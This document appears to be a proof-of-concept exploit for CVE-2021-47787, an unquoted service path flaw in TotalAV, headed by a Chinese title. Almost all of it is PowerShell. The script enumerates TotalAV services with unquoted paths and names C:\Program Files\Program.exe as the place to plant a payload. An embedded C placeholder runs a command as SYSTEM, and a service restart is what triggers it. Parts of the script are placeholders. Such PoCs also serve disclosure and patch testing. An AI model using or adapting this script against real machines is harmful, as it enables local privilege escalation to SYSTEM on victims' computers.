CVE-2021-47787 TotalAV 未引用服务路径权限提升漏洞

# CVE-2021-47787 PoC - TotalAV Unquoted Service Path # This PoC demonstrates the path hijacking vulnerability $malicious_exe = @' // Simple malicious executable placeholder // In real attack, replace with actual payload #include <windows.h> int WinMain() { // Payload execution with SYSTEM privileges system("cmd.exe /c whoami > C:\\temp\\pwned.txt"); return 0; } '@ # Step 1: Identify unquoted service paths for TotalAV $services = Get-WmiObject win32_service | Where-Object { $_.pathname -like '*TotalAV*' -and $_.pathname -notmatch '"' } Write-Host "[+] Found TotalAV services with unquoted paths:" $services | Select-Object name, pathname | Format-Table # Step 2: Extract path segments to determine hijackable location foreach ($svc in $services) { $path = $svc.pathname $segments = $path -split '\\' | Where-Object { $_ -ne '' } Write-Host "[+] Service: $($svc.name)" Write-Host "[+] Checking writable path segments..." } # Step 3: Create malicious executable in hijacked location # Note: Requires write access to a path segment before a space $target_path = "C:\\Program Files\\Program.exe" Write-Host "[+] Creating malicious executable at: $target_path" # In practice, compile and place actual payload here # Step 4: Trigger service restart to execute payload Write-Host "[+] Waiting for service restart..." # Use: Restart-Service -Name "ServiceName" (requires admin) Write-Host "[+] If successful, payload should execute with SYSTEM privileges"